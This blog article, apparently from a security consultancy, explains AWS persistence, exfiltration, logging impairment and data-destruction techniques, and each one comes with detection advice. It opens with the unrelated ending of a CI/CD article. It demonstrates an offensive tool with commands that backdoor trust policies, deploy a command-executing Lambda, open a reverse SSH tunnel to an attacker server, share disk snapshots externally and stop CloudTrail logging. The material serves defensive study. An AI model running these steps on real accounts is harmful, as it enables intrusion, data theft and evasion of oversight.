CI/CD pipelines have become a genuine cornerstone of modern information systems. They are now systemic components, indispensable for developing and deploying applications. Yet their critical role within IT also makes it necessary to implement appropriate security measures so that they do not themselves become attack vectors. 

Figure 8 – Some systemic CI/CD components 

Beyond the recommendations detailed in this article, further preventive measures can be implemented in the form of hardening guides tailored to specific tools within the pipeline. In addition, adopting a robust training strategy for users, together with structured change management, is essential to ensure the success of these transformations. 

Thanks to Jeanne GRENIER for her valuable contribution to the writing of this article.

Cet article CI/CD: the new cornerstone of the Information system?  est apparu en premier sur RiskInsight.

However, as cloud adoption accelerates, its features and complexity introduced new challenges associated with securing these environments. Even if cloud providers offer several security features such as, discretionary access control and logging mechanisms, many organizations still fail to implement effective cloud security strategies due to the novelty of these environments. Among the most predominant misconfigurations, misconfigured IAM roles, overly permissive policies, exposed credentials, and lack of visibility into cloud-native activity create opportunities for attackers to exploit.

When an attacker gains initial access to a cloud environment whether through opportunistic access or active exploitation, the most common action following the initial compromise and privilege escalation is to deploy access persistence on the environment.

Unlike traditional on-premises networks, cloud environments offer several services and configuration loopholes that can be abused to maintain long-term access even after remediation efforts have begun.

In this article, we’ll explore the concept of access persistence in AWS, dissecting the techniques adversaries can use to hide themselves within a cloud environment.

All along this article, the features of a dedicated tool designed to simplify and automate the deployment of persistence techniques in AWS environments will be presented

Persistence on AWS

IAM persistence

In the context of AWS, Identity and Access Management (IAM) is the cornerstone of security. It governs who can do what in the environment by defining roles, users, groups, and their permissions (policies) that determine access to resources: if you have not been explicitly allowed to perform an action , you won’t be able to do anything.

At a high level, IAM operates by associating identities (such as IAM users or roles) with policies that are JSON documents describing the privileges of an IAM object on a resource.

These policies are highly granular, supporting conditions like IP restrictions, MFA enforcement, or access during specific timeframes. IAM configurations are not just access controls, they are part of the infrastructure itself.

IAM has become a powerful vector for access persistence and unlike on an on-premise environment, an attacker with sufficient privileges doesn’t need to drop binaries or execute malicious software to maintain access on the environment. Instead, they can modify IAM policies, create new users, attach rogue permissions to existing roles, or backdoor trusted identities.

What makes IAM-based persistence especially dangerous is its stealth and durability. Indeed, changes to IAM often blend in with legitimate administrative activity, making them harder to detect. If the environment is not well maintained or not reviewed on a regular basis, finding the malicious policy is like finding a needle in a haystack.

In this section, we’ll explore common and lesser-known techniques attackers can use to establish persistence by modifying IAM configurations. We’ll break down practical examples and highlight the indicators defenders should monitor to detect and respond to these often-overlooked tactics

Access key

Attack

The 101-persistence technique is adding an AccessKey to a user.

On AWS, users can connect through the CLI using AccessKey. The easiest way to deploy persistence is by deploying an AccessKey on a privileged user.

Once the AccessKey is created for the user, the attacker can access AWS through the CLI with the user’s privileges.

However, this technique has some limitations:

• Only two AccessKey can be registered at once on a user.
• Some SCP, a global policy applied by the organization on a sub-account can prevent users from using AccessKey or enforce MFA

Regarding the limitation of number of AccessKey registered on a user, it is possible to:

1. List the AccessKey registered on a user
2. Get the last time the AccessKey has been used: usually, if a user has more than one AccessKey, the second one has been lost, is not used anymore and can be deactivated and removed with an acceptable risk
3. Delete the unused AccessKey:

In order to list and delete an AccessKey, the following privileges are needed:

• iam:ListAccessKeys: retrieve the AccessKeys details
• iam:UpdateAccessKey: deactivate the key prior to its deletion
• iam:DeleteAccessKey: effectively delete the AccessKey

For the MFA it is possible to register an MFA on a specific user without his consent allowing bypassing the restriction. However, if the AccessKey login is denied, this technique cannot be used.

In order to add an AccessKey to a user, the following privilege is needed:

• iam:CreateAccessKey

In order to add MFA to a user, the following privilege is needed:

• aws:CreateVirtualMfaDevice
• aws:EnableMfaDevice

AWSDoor

This technique is implemented in AWSDoor:

python .\main.py -m AccessKey -u adele.vance
[+] Access key created for user: adele.vance
[+] Access key ID: AKIAWMFUPIEBGOX73NJY
[+] Access key Secret: p4g[…]i7ei

The key is then added to the user:

Defense

While adding an AccessKey to a user is the easiest way to achieve persistence in an AWS environment it is also one of the least stealthy methods.

Indeed, if the detection team detected the environment compromise, it can easily find the AccessKey deployed by the compromised user through the AWS CloudTrail logs:

Moreover, some security solutions such as Cloud Security Posture Management system can detect this type of persistence if users usually do not use AccessKey.

Finally, as a recommendation, it is usually better to avoid using IAM users with AccessKey and prefere using the AWS SSO: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html

Once the SSO authentication is configured, the number of “human” users drops to 0 with only the service ones remaining. It is then easier to spot rogue AccessKey and closely monitor existing ones (CICD service users for example).

Trust policy

In AWS, roles are IAM objects used to delegate access across services, accounts, or users. Unlike IAM users, roles do not have long-term credentials. Instead, they are assumed (used) through the sts:AssumeRole API, which returns short-lived credentials granting the permissions defined in the role’s permission policies.

To control who can assume a role, AWS uses a special document called a trust policy. A trust policy specifies the trusted principals identities (users, roles, accounts, services, or federated users) that are allowed to assume the role. If a principal is not listed in a role’s trust policy, they simply cannot assume it, no matter what permissions they hold elsewhere.

Real life usecase for AssumeRole and Trust Policy

Imagine a company with multiple AWS accounts:

• one for development
• one for staging
• one for production

Rather than creating and managing separate IAM users in each environment, the organization defines a centralized group of administrators in a management account.

Each target account defines a role with elevated privileges (e.g., CrossAdminAccess), and configures a trust policy allowing only the management account’s IAM identities to assume it. The TrustPolicy, deployed on each target account will look like this:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"
      },
      "Action": "sts:AssumeRole",
    }
  ]
}

This approach provides clean separation between environments while maintaining centralized control. Admins “switch roles” from the management account into the other accounts only when needed without duplicating credentials.

After the AssumeRole action, the administrator in the Management account will be granted temporary administration privileges on the targeted account.

Attack

As it is shown in the previous TrustPolicy, the capacity to assume a specific role in an account is managed by the policy that explicitly allows a foreign account to assume a role in the target account.

However, nothing enforces the TrustPolicy to allow only an account from known and trusted account. An attacker with the privileges to modify a TrustPolicy can backdoor the policy by allowing his own AWS account to assume the role in the compromised account:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::${attackerAccountId}:role/fakeRole"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

Once this policy is applied, it is possible to assume the backdoored role directly from the external.

AWSDoor

This technique is implemented in AWSDoor:

python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames
[-] Initial trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::438465151234:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
[+] New trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::438465151234:user/ADM01",
          "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Trust policy for FAKEROLE updated

The tool allows you to:

• target a specific statement with the -s argument: by default, the tool will inject the trust policy in the first Allow statement it finds. If there are multiple statements in the policy, you can use the -s parameter to target a specific statement
• create a new statement with the -c argument: with this option you can force the creation of a new statement with a specific name (MALICIOUS in the example below)

Defense

This type of persistence is a powerful persistence mechanism in AWS environments. This technique does not require storing credentials inside the victim environment, making it very stealthy and durable, especially because the detection team usually focuses only on access keys or local role usage.

Detection of this persistence method requires close monitoring of trust policy changes. AWS CloudTrail records events like UpdateAssumeRolePolicy, which can reveal when a trust policy is modified.

Likewise, AWS Config can be used with custom rules to detect TrustPolicy targeting unmanaged account.

NotAllow

Attack

An IAM role policy is a JSON document attached to an IAM role that defines what actions the role is allowed (or denied) to perform, on which resources, and under which conditions.

For example, the following policy allows the associated role to list all S3 buckets in the account.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "s3:ListBucket",
      "Resource": "*"
    }
  ]
}

In the policy syntax, it is possible to use negation operator: instead of defining a whitelist of allowed action, it is possible to define a blacklist of actions.

Indeed, by using the NotAction operator, AWS will apply the statement effect to every action except those explicitly listed.

For example, the following policy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": "s3:ListBucket",
      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

This policy will allow the role to perform any action except the ListBucket action on the cloudtrails-logs-01032004 S3 bucket: it basically grants the associated role the maximum privileges on the account.

For a defender, at first glance, this policy looks like an inoffensive policy targeting a S3 resource, but it in fact grants AdministratorAccess privileges to the role.

The attacker can then backdoor the specific role using the TrustPolicy persistence as explained before to get a full remote access to the AWS account.

AWSDoor

This technique is implemented in AWSDoor:

python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY
[+] The following policy will be added :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": [
        "s3:ListBucket"
      ],
      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY
[+] Attaching the policy to FAKEROLE
[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE

For the policy, there are two possibilities:

• Attached policy: this is the most common way to add a policy to a role. First a policy is created with the NotAction statement, then the policy is attached to the role. The policy will then appear in the IAM/Policies panel:

• Inline policy (-i): this is the quickiest way to add a policy to a role. The policy is directly created at the role level (hence the inline). While it is easier to create such policy it is usually seen as bad configuration practice because the policy will not appear in the IAM/policies panel, making it harder to track it back during a configuration review.

Therefore, specific compliance tools can flag the inline policy. Not because it is malicious but because it is not compliant with security best practices.

Defense

From a defender’s perspective, the use of NotAction along with Allow effect in IAM policies should immediately raise suspicion, especially when paired with NotResource fields.

The following detection and mitigation strategies can help security teams defend against this type of privilege escalation:

• Monitor IAM Policy Changes via CloudTrail: any creation or modification of IAM policies can be tracked through CloudTrail with the following event: CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion and SetDefaultPolicyVersion
• Investigation on policy documents containing the NotAction This can be automated by creating associated scenario on CloudWatch (NotAction in requestParameters.policyDocument)
• Enforce compliance check with AWS Config: a custom config rule can be defined to flag any policy including NotAction or NotRessource with an Allow effect

Resource based persistence

In AWS, it’s common to attach IAM roles to resources like Lambda functions, EC2 instances, or ECS tasks. This lets those services access other AWS resources securely, based on the permissions defined in the role. For example, an EC2 instance might use a role to read secrets from Secrets Manager or push logs to CloudWatch.

From an attacker’s point of view, this setup can be useful for persistence. If they manage to compromise a resource that has a highly privileged role attached, such as one with AdministratorAccess, they can use the role to interact with AWS just like the resource would.

This means the attacker doesn’t need to create new credentials or modify IAM directly. As long as they maintain access to the resource, they can continue using the role’s permissions, which makes this method both effective and harder to detect.

Lambda

AWS Lambda functions have become a popular choice for running code in the cloud without having to manage servers. They allow developers and organizations to automate tasks, respond to events, and build scalable applications that run only when needed. For example, Lambda can process files uploaded to S3, handle API requests, or automatically react to changes in a database.

For example, in order to manage the account administrators, it is possible to create a Lambda function that adds privileges to a user when he is added to a DynamoDB database: the modification of the DynamoDB trigger the lambda code and makes it change the user privilege according to the change in the database.

Therefore, it is not usual to associate an IAM identity to a lambda.

Over-privileged role

A way to get persistence on an AWS account is to either associate an overprivileged IAM identity to an existing lambda or modify the code of an already existing over-privileged lambda.

For example, the attacker can:

• Create a lambda function
• Associate an IAM privileged role (using the NotAction trick for example)
• Add a python code allowing either execute arbitrary code or extract the lambda temporary credentials
• Expose the lambda directory on Internet through an API Gateway or a Lambda Function

The following figure summarizes the persistence deployment:

Lambda layers

The Lambda persistence technique described above is effective, but it has a major drawback: the malicious code is easy to spot. If someone modifies the main business logic of the function or reviews the source during an investigation, the backdoor will likely be discovered and removed.

A more subtle approach is to hide the malicious payload in a Lambda layer rather than in the function code itself.

A Lambda layer is a way to distribute shared dependencies such as libraries or custom runtimes. Instead of embedding these directly into the function, you can upload them separately and attach them to one or more Lambda functions. This keeps the deployment package lighter and makes it easier to reuse code across projects. Layers are commonly used to include tools like requests or AWS SDKs (boto3) across multiple functions.

From AWS’s perspective, the layer is attached to the function, but its contents are not displayed directly in the console.

As shown in the screenshot below, AWS only displays the presence of the layer, and to inspect it, a user has to manually browse to the Lambda Layers panel and download it as a ZIP file.

The use of a layer is displayed (and can be easily missed) but in order to download the code, the user needs to go on a specific Lambda Layer panel and download (not display) it in Zip format:

These extra steps can make defenders less likely to review the layer’s content during the initial triage.

An attacker can take advantage of this by creating a layer that contains a poisoned version of a standard library, such as requests. By overriding an internal function with malicious behavior, the attacker gains remote code execution each time the function is used.

For example, after downloading the requests package using pip:

pip install -t python requests

The attacker modifies the get() function to execute arbitrary commands:

Then, the package is zipped and deployed as a layer, which is attached to the target function:

Finally, the Lambda source code is updated to use the poisoned library, which may appear harmless at first glance:

What looks like a legitimate HTTP request is now a trigger for hidden malicious behavior. Unless the defender inspects the actual content of the attached layer, this backdoor may remain undetected.

AWSDoor

This technique is implemented on AWSDoor:

python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l
[+] The following trust policy will be created :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "lambda.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Layer created
[+] Created lambda function lambda_test2
[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/

A few additional parameter can be used:

• -l : use a lambda layer, otherwise include the malicious code directly in the lambda
• -g: use a gateway api, otherwise, use a FunctionURL

The GatewayAPI is a cleaner way to expose a lambda on Internet, however, it is possible to easily spot that the lambda can be reached from the Internet as it is displayed as a trigger:

The payload deployed by default takes a python code passed as the get parameter cmd, execute it and output the data stored in the result variable:

curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url` 
>> {result: “Hello World”}

Defense

From a defender’s perspective, Lambda layers are often overlooked during incident response, especially when only the function code is reviewed. Since layers are not displayed inline in the Lambda console and must be downloaded manually as ZIP archives, malicious content can easily go unnoticed. This makes layers an attractive location for attackers to hide backdoors or poisoned dependencies.

The following detection and mitigation strategies can help security teams identify and respond to suspicious use of Lambda layers:

• Audit Lambda Layer Attachments: The UpdateFunctionConfiguration event is recorded by CloudTrail when a new layer is attached to a Lambda function. It is then possible to track unusual changes or associations between unrelated teams or projects.
• Restrict layer update to CICD workflow: Prevent any layer modification but from the CICD pipeline, by whitelisting the roles allowed to do it. Focus detection and threat hunting effort on misusage / update of this role.
• Validate lambda exposed directly on the internet: Exposing lambda on the Internet can be a sign of persitence deployment. Any usual configuration modification implying the exposition of such resource on the internet must be investigated

While layers are a powerful and useful feature, they represent a blind spot in many AWS security monitoring setups.

EC2

Socks

AWS Systems Manager (SSM) provides a powerful and flexible way to manage and interact with EC2 instances without requiring direct network access such as SSH or RDP. At its core, SSM enables remote management by using an agent installed on the instance, which communicates securely with the Systems Manager service. Through this channel, administrators can execute commands, run scripts, or open interactive shell sessions on instances, all without exposing them to the public internet or managing bastion hosts.

One of the main advantages of SSM is that it reduces the attack surface by limiting the exposed services. Since communication is initiated from the instance itself, which reaches out to the SSM service endpoints, the approach works even in secured network environment where inbound access is restricted.

From a security perspective, while SSM reduces exposure, it also introduces new risks. For example, if an attacker compromises an identity with permission to start SSM sessions or send commands, they can gain remote code execution on the instance without needing any network foothold.

An attacker with access to the AWS account can leverage SSM capabilities to compromise an EC2 instance and use it as a network pivot. One common approach is to deploy an SSH reverse SOCKS proxy. Using SSM, the attacker can execute commands on the EC2 instance to deploy an SSH key, then run a command to expose the EC2’s SSH port back to their own server:

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f

Then, the attacker, from his server, can open an SSH socks with the following command:

ssh -D 4444 ssm-user@127.0.0.1:2222

This allows the attacker to tunnel traffic through the compromised EC2, using it as a foothold inside the network.

Snapshot exfiltration

While not a persistence mechanism, snapshot exfiltration is a powerful technique for data exfiltration in AWS environments. It takes advantage of the ability to share Elastic Block Store (EBS) snapshots across AWS accounts. While this feature is intended for backup or collaboration, it can be leveraged for massive data exfiltration.

An attacker with sufficient permissions in a compromised AWS account can create a snapshot of an EBS volume, then share it with an external account they control.

From that external AWS Account, the snapshot can be mounted, copied, and inspected giving the attacker full access to the underlying disk data without ever downloading anything from the target environment directly.

This method is particularly dangerous when applied to sensitive infrastructure. For example, if a domain controller is virtualized in AWS, an attacker can take a snapshot of its volume, share it with his own AWS Account and extract sensitive files like ntds.dit.

All of this can happen without needing to interact with the instance over the network, by passing any security tools deployed on the internal network.

This is a low-noise, high-impact data exfiltration technique that abuses AWS-native capabilities that goes unnoticed if specific controls aren’t in place.

AWSDoor

These two techniques are implemented on AWSDoor. The following commands can be used to export a specific EC2 instance:

python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720   
   
[-] The following volumes will be snapshoted and shared with 503561426720:                                       
        - vol-09ce1bf602374a743
[+] Do you want to apply this change? (yes/no): yes
[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743
[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720

Likewise, the SSH socks action can be automated:

python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd

[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da
[-] Waiting 10 seconds for execution
[+] Status: Success

Detection

For the snapshot part, CloudTrail logs several events:

• CreateSnapshot logged when a snapshot is created. This is a routine operation in most environments with backup policies, so it’s not inherently suspicious. However, it’s easy for attackers to blend into the noise by mimicking standard backup activity.
• ModifySnapshotAttribute when the snapshot is shared: while modifying a snapshot attribute is not unusual, a simple analysis of the content shows that the snapshot has been shared to a remote account:

Therefore, it is possible to limit this type of exploit by monitoring the ModifySnapshotAttribute and ensure that the userId set is in the range of the accounts linked to the organization.

Likewise, some security by obscurity method would be to add specific tags when Snapshot are performed for backup purpose and raise an alert when a snapshot is created without the appropriate tag. The tag can for example be a hash of the creation time seeded by a secret only known by the backup tool:

BackupTag=HMAC(creation_time, secret)

For the reverse socks exploitation, it depends on the way the SSM access is performed:

• From the AWS GUI: a StartSession event is logged on CloudTrails when the attacker starts the remote connection to the machine. The log contains the attacker IP address as well as the EC2 id targeted.

• From the AWS CLI or AWSDoor, the StartSession event is not raised but the GetCommandInvocation is logged instead:

However, whatever the technique used, CloudTrails does not log the full commandline sent. Therefore, it is still interesting and important to add a EDR solution directly on the computing ressources.

Defense impairment

Defense impairment refers to any deliberate action taken by an attacker to weaken, disable, or bypass the security monitoring and detection capabilities of a target environment. In AWS, this typically involves tampering with logging configurations, disabling security services, or altering alerting mechanisms to avoid detection during or after an attack.

AWS provides several built-in services designed to monitor activity, enforce compliance, and alert on suspicious behavior. These include CloudTrail for API call logging, CloudWatch Logs and CloudWatch Alarms for real-time monitoring and alerting, GuardDuty for threat detection, Security Hub for centralized security findings, and Config for resource configuration tracking. More advanced environments may also rely on third-party SIEMs or CSPM platforms integrated into their AWS accounts.

Disabling or modifying any of these services can significantly reduce the visibility defenders have over malicious activity, making defense impairment a critical tactic in many cloud-based attacks.

CloudTrail and CloudWatch

Introduction to AWS logging

In AWS environments, CloudTrail and CloudWatch are two core logging and monitoring services that play complementary roles, but they serve very different purposes. CloudTrail is designed to log all API activity that happens within an AWS Account. It records every call made through the AWS Management Console, AWS CLI, SDKs, and other AWS services. This means when someone creates an EC2 instance, modifies a security group, or deletes a resource, CloudTrail captures the who, when, where, and what of that action. These logs are essential for auditing, forensic investigations, and tracking changes made across the infrastructure.

CloudWatch, on the other hand, focuses on operational monitoring. It collects and stores logs from services and applications, tracks metrics like CPU usage or memory consumption, and supports alarms and dashboards for real-time visibility. When an application writes logs or when you want to monitor system performance, CloudWatch is the tool used. It can also be configured to receive and store logs from Lambda functions, EC2 instances, or custom applications.

Network logging is also proposed by AWS through the VPC Flow Logs or VPC Mirroring services. Even though they can be of use for security purposes, their main utility are more operational monitoring oriented. This article will focus on Cloud Trail service.

CloudTrail is enabled and logs the event for 90 days. This service is a logging baseline that cannot be limited or disabled.  However, additional logging capabilities can be enabled with the definition of trails in CloudTrail.

CloudTrail will keep the log records and guarantee their integrity for a 90 day period, after which the logs are purged from the Event History. If an organization wants to ensure greater retention time or perform a specific real time monitoring based on those logs, it has to configure a trail. This configuration will duplicate the logs and forward them to an S3 bucket, on which can be plugged further security tooling.

As a Cloud administrator, it is possible to create and Organization Trail that will replicate itself in the all the targeted Organization Account. When set, it is not possible for a targeted account to delete / deactivate the trail.

Stop logging

Attack

While it is not easily possible to impact the logging capabilities of CloudWatch, it is possible to impact those of CloudTrail by simply deactivating the logging capability.

This feature allows to stop a trail from logging the event without deleting it:

While this technique is effective to impair specifics logging capabilities, it has severs draws back:

• limited effect: even though a specific trail will be impacted, Organization Trails cannot be evaded this way. In addition, Event History with its 90 days unalterable retention period will still be available
• Noisy action: even if the stopping command is not detected, most SIEM solutions trigger alarms when the log flow stops.

AWSDoor

This technique is implemented in AWSDoor:

python .\main.py --m CloudTrailStop -s
[+] Trail logging stopped on 'management-events'

The limitation is that this will only deactivate trails defined in the current account and won’t remove trails defined at the organization level.

Defense

On the defender side, this technique can be simply detected by looking at the GUI moreover, CloudTrail also record the StopLogging event hinting that a Trail has been tampered.

Event selector

Attack

In AWS CloudTrail, event selectors allow fine-grained control over what types of events a trail records. These selectors can be configured to log management events, data events, or both. Management events capture operations that manage AWS resources, such as launching an EC2 instance or modifying IAM roles. These are typically high-level API calls made through the console, SDK, or CLI and are critical for auditing administrative actions.

By default, trails log management events, but users can modify event selectors to exclude them partially or completely. This flexibility can be useful for reducing noise or cost in environments with heavy automation, but it also introduces a risk. An attacker with the right permissions could tamper with a trail’s event selectors to suppress specific types of logs, such as disabling management event logging, thereby impairing visibility into changes made during or after a compromise.

Therefore, by altering event selectors it is possible to degrade the CloudTrail logging capabilities, making it harder for defenders to detect unauthorized activity or investigate incidents.

The management event can be simply deactivated. For the data event, in order to avoid having blank field on the GUI it is possible to enforce the event selector configuration to only log event related to a none-existing resource:

AWSDoor

AWSDoor can be used to reconfigure the event selector in order to prevent data and management event logging:

python .\main.py --m CloudTrailStop
[+] Adding event selector on management-events
[+] Management events disabled on trail 'management-events'

Once the script is run, the event selector is configured. The trail still appears as active:

However, the event selector prevents further event logging:

Defense

The creation of the event selector can be detected using the PutEventSelector event logged in CloudTrail:

Likewise, the analysis of the log collection and the volumetry would be an interesting IOC. If the log flow stopped, it is likely due to an attack.

Destruction

Attacks focused on data destruction are designed to cause important operational damage by permanently erasing or corrupting critical information and infrastructure. Unlike data exfiltration or privilege escalation, these attacks don’t aim to extract value or maintain access, but rather to disrupt business continuity, damage reputation, or sabotage systems beyond recovery.

In cloud environments like AWS, destructive attacks can impact all types of resources, including storage resources, computing resources or configuration components like IAM roles and Lambda functions:

• Deleting S3 buckets can lead to the loss of backups, customer data, or reglementary / technical information (logging).
• Erasing EBS volumes or RDS snapshots can lead to total loss of application state or critical databases.
• Formatting the AWS Account (by deleting all the possible services) can lead to a very long service interruption, even if the data are externally backup, especially if the infrastructure is not deployed through IaC, or if the IaC is destroyed as well.

AWS Organization Leave

Organization Leave

AWS Organizations is a service that allows you to centrally manage and govern multiple AWS accounts from a single location. At the top of the hierarchy is the Organization service nested one management account (called the payer / master / management account) and one or more member accounts. These accounts can be grouped into organizational units, making it easier to apply policies or manage backup at scale.

Each AWS account in an organization remains isolated in terms of resources and identity, but the organization can enforce policies such as Service Control Policies (SCPs) across all accounts that will enforce specific limitation on all accounts as a GPO does on a Windows domain. This structure is particularly useful for separating data and workloads by team, environment, or business unit while maintaining centralized governance.

AWS also allows you to invite or attach an existing standalone account into an organization. This process can be initiated from the management account and requires the invited account to accept the request. Similarly, accounts can be detached and moved to another organization, though this action comes with restrictions. For example, certain AWS services or features may behave differently once an account is part of an organization, especially in terms of consolidated billing and policy enforcement. This capability can be useful for mergers, restructurings, or account lifecycle management but also opens up a possible attack vector if not closely monitored.

While the LeaveOrganization is a destructive operation, it can be also used to exfiltrate data before destruction. Instead of erasing all resources in a compromised AWS account, an attacker may choose to detach the account from the organization, retain all infrastructure intact, and slowly exfiltrate sensitive data.

For example, a company is hosting a eShop application on AWS. The attacker who has compromised the AWS account uses the LeaveOrganization action to retrieve control over the eShop resource. This action removes the account from centralized control, effectively stripping away any Service Control Policies, centralized logging, or governance mechanisms previously enforced by the organization without impacting its availability.

With full control over this now standalone account, the attacker can operate without oversight. The eShop continues functioning normally, serving customers and processing orders, but behind the scenes, the attacker has unrestricted access to all associated resources. They can read from S3 buckets, query the customer database, extract payment data, and silently exfiltrate banking information and personal details of every user without interrupting the service or triggering operational alarms.

From the company’s perspective, once the account has left the AWS Organization, the security team loses visibility and administrative authority over it. They cannot easily shut down the impacted resources directly from their AWS account.

Without admin access to the now-isolated account, the company has no way to disable services, suspend billing, or terminate the compromised infrastructure. This gives the attacker complete operational freedom, while the organization is left blind and unable to respond but request AWS Support.

Privileges needed

To execute the LeaveOrganization action and detach an AWS account from its organization, the attacker must possess elevated permissions within the targeted account. Specifically, the following conditions and IAM privileges are required:

• Account-Level Access: The attacker must have direct access to the member account they intend to detach. This means they must already be authenticated within that specific AWS account — either through stolen credentials, session tokens, or by exploiting vulnerable IAM roles or policies.
• organizations:LeaveOrganization Permission: This is the key IAM permission required to invoke the LeaveOrganization API call. It must be explicitly allowed in the attacker’s effective permissions. This action is only valid when executed from within the member account, not from the management account.
• Billing Access Although not strictly required to leave an organization, attackers with access to billing and account settings (via aws-portal:*, account:*, or billing:* actions) can further entrench themselves, update contact information, or lock out legitimate users after detachment. In addition most accounts created within an Organization are done so without payment details (because they inherits those from the payer account). However, for an account to be detached / standalone, it has to have this information filled.

Defense and detection

Preventing Unauthorized LeaveOrganization Calls

The most effective control is the use of Service Control Policies (SCPs). SCPs define the maximum permissions available to accounts within an AWS Organization and can explicitly deny the organizations:LeaveOrganization action, even if a local IAM user or role has been granted that permission.

The LeaveOrganization operation is executed from within the member account itself, not by the management account. It means that an attacker does not need to fully compromise the AWS organization to perform the account detachment.

The SCP, defined at the organization level, can prevent any user in the accounts to leave the organization. In this case, the attacker must first compromise the whole AWS organization before being able to perform the attack.

The following policy will prevent any misuse of LeaveOrganization:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyLeaveOrganization",
      "Effect": "Deny",
      "Action": "organizations:LeaveOrganization",
      "Resource": "*"
    }
  ]
}

This SCP should be attached directly at the root of the AWS Organization to ensure it applies to all member accounts. It ensures that no account can unilaterally leave the organization, even if compromised.

Detection and Monitoring

Even with SCPs in place, monitoring for LeaveOrganization attempts is essential for defense-in-depth. Indeed, even if the LeaveOrganization failed due to the SCP, having monitoring on the LeaveOrganization event could help detect the attack occurring on the AWS environment.

For example, a CloudWatch Alarms to trigger alerts when the event LeaveOrganization or DisablePolicyType.

S3 destruction

S3 standard deletion policy

Amazon S3 is one of the most widely used and trusted storage services within the AWS ecosystem. Organizations rely on it to store everything from logs and files to critical business data and backups. The destruction of S3 data can have far greater impact than the loss of a few compute resources, making it a high-value target for attackers.

While uploading and storing data in S3 is straightforward, deleting large volumes of data is intentionally resource-intensive and time-consuming. When an S3 bucket is deleted or cleared, AWS performs a recursive, sequential deletion of every object meaning the process can take hours or days for large environments.

Additionally, AWS enforces eventual consistency on object deletions, so even after a delete request, objects may temporarily persist. These design choices provide defenders with a crucial time window to detect and respond to deletion attempts before irreversible data loss occurs.

Lifecycle policy

Amazon S3 Lifecycle Policies provide an automated mechanism to manage the storage lifecycle of objects within a bucket. These policies allow users to define rules that transition objects to different storage classes or expire (delete) them after a defined period, based on criteria like object age, prefix, or tags. This automation helps organizations optimize storage costs and enforce data retention policies without manual intervention.

However, lifecycle policies operate differently from manual processes and bypass the standard safeguards designed to slow mass deletions. An attacker who gains elevated privileges in an AWS account can create or modify a lifecycle policy that sets object expiration to the minimum allowed duration (1 day). Once applied, this policy is retroactive: all existing objects in the bucket will be marked for expiration and scheduled for removal, and all newly created objects will expire shortly after creation.

Unlike manual deletions, lifecycle expirations are handled internally by AWS at scale and complete much faster. This can enable stealthy, rapid mass deletion of bucket contents without generating the volume of API calls or operational noise typical of manual recursive deletes. Since lifecycle policy changes may not trigger immediate or obvious alerts, such abuse poses a significant risk for undetected data destruction within AWS environments.

As lifecycle policies are applied on a daily basis, the defender will have less than a day to detect the policy change, remove the deletion mark and revoke the attacker access.

AWSDoor

This technique is implemented on AWSDoor:

python .\main.py --m S3ShadowDelete -n s3bucketname

Detection

Detection of shadow deletions through S3 Lifecycle Policies can be easily missed because the deletion of objects via lifecycle expiration does not raise standard DeleteObject events in CloudTrail as manual deletions do.

Instead, AWS internally handles the deletion process asynchronously, and it does not attribute the deletions to a specific user or role. Therefore, many security monitoring setups fail to recognize this as a malicious action aiming to impact data availability. The only reliable indicator of such an operation is the PutBucketLifecycleConfiguration API event, which logs the creation or update of a lifecycle rule by defining a new Expiration parameter.

To detect potential abuse, a CloudWatch rule should be configured to monitor PutBucketLifecycleConfiguration events and automatically inspect the new policy configuration. If the policy includes an Expiration action set to the minimum allowed (1 day) or applies broadly to all objects this should be treated as a high-risk change.

